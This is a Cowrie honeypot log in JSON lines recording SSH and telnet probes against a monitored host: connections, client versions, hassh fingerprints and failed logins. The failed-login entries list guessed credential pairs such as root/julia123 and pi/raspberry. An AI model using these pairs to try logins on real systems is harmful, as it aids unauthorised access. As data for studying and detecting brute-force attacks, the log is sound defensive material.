{"eventid":"cowrie.session.closed","duration":120.01291513442993,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:45:24.398756Z","src_ip":"79.139.59.21","session":"516cccaa2d9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":36816,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e672afdafd6","protocol":"ssh","message":"New connection: 103.27.238.114:36816 (159.203.135.109:22) [session: 3e672afdafd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:45:45.518322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:45:45.523342Z","src_ip":"103.27.238.114","session":"3e672afdafd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:45:45.797099Z","src_ip":"103.27.238.114","session":"3e672afdafd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"julia123","message":"login attempt [root/julia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:45:46.615927Z","src_ip":"103.27.238.114","session":"3e672afdafd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:45:47.892385Z","src_ip":"103.27.238.114","session":"3e672afdafd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.182.81.25","src_port":51186,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e563e32b1d4","protocol":"ssh","message":"New connection: 95.182.81.25:51186 (159.203.135.109:22) [session: 0e563e32b1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:45:58.162513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:45:58.350022Z","src_ip":"95.182.81.25","session":"0e563e32b1d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:45:58.354056Z","src_ip":"95.182.81.25","session":"0e563e32b1d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Openpgsvc","password":"0p3npgsvcPWD","message":"login attempt [Openpgsvc/0p3npgsvcPWD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:45:59.589955Z","src_ip":"95.182.81.25","session":"0e563e32b1d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:00.745135Z","src_ip":"95.182.81.25","session":"0e563e32b1d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.182.81.25","src_port":50172,"dst_ip":"159.203.135.109","dst_port":22,"session":"786ea9b00b3b","protocol":"ssh","message":"New connection: 95.182.81.25:50172 (159.203.135.109:22) [session: 786ea9b00b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:06.354879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:06.483157Z","src_ip":"95.182.81.25","session":"786ea9b00b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:06.487651Z","src_ip":"95.182.81.25","session":"786ea9b00b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:07.262566Z","src_ip":"95.182.81.25","session":"786ea9b00b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:08.678871Z","src_ip":"95.182.81.25","session":"786ea9b00b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.182.81.25","src_port":46156,"dst_ip":"159.203.135.109","dst_port":22,"session":"27a783ed6a34","protocol":"ssh","message":"New connection: 95.182.81.25:46156 (159.203.135.109:22) [session: 27a783ed6a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:12.770131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:12.908187Z","src_ip":"95.182.81.25","session":"27a783ed6a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:12.912708Z","src_ip":"95.182.81.25","session":"27a783ed6a34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"budda279056","message":"login attempt [system/budda279056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:13.296709Z","src_ip":"95.182.81.25","session":"27a783ed6a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:14.391259Z","src_ip":"95.182.81.25","session":"27a783ed6a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.182.81.25","src_port":58986,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cee1f7c46fa","protocol":"ssh","message":"New connection: 95.182.81.25:58986 (159.203.135.109:22) [session: 6cee1f7c46fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:23.564541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:23.735559Z","src_ip":"95.182.81.25","session":"6cee1f7c46fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:23.739543Z","src_ip":"95.182.81.25","session":"6cee1f7c46fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"OkwKcECs8qJP2Z","message":"login attempt [system/OkwKcECs8qJP2Z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:24.543333Z","src_ip":"95.182.81.25","session":"6cee1f7c46fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:26.934274Z","src_ip":"95.182.81.25","session":"6cee1f7c46fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.182.81.25","src_port":58992,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eb9b9282f81","protocol":"ssh","message":"New connection: 95.182.81.25:58992 (159.203.135.109:22) [session: 1eb9b9282f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:29.720456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:29.809776Z","src_ip":"95.182.81.25","session":"1eb9b9282f81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:29.814155Z","src_ip":"95.182.81.25","session":"1eb9b9282f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RPM","password":"RPM","message":"login attempt [RPM/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:30.273934Z","src_ip":"95.182.81.25","session":"1eb9b9282f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:31.617132Z","src_ip":"95.182.81.25","session":"1eb9b9282f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":49760,"dst_ip":"10.17.0.5","dst_port":22,"session":"cab7e941a5ad","protocol":"ssh","message":"New connection: 94.159.98.239:49760 (10.17.0.5:22) [session: cab7e941a5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:47.389982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:47.400273Z","src_ip":"94.159.98.239","session":"cab7e941a5ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:48.229914Z","src_ip":"94.159.98.239","session":"cab7e941a5ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apteka","message":"login attempt [root/apteka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:50.726670Z","src_ip":"94.159.98.239","session":"cab7e941a5ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:46:51.899165Z","src_ip":"94.159.98.239","session":"cab7e941a5ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":43210,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bedd0f41a0e","protocol":"ssh","message":"New connection: 203.161.39.233:43210 (159.203.135.109:22) [session: 1bedd0f41a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:11.548971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:11.553705Z","src_ip":"203.161.39.233","session":"1bedd0f41a0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:11.623612Z","src_ip":"203.161.39.233","session":"1bedd0f41a0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome@2025","message":"login attempt [root/welcome@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:11.935222Z","src_ip":"203.161.39.233","session":"1bedd0f41a0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:13.010546Z","src_ip":"203.161.39.233","session":"1bedd0f41a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":33004,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e91a286be36","protocol":"ssh","message":"New connection: 190.129.122.185:33004 (159.203.135.109:22) [session: 0e91a286be36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:52.564100Z"}
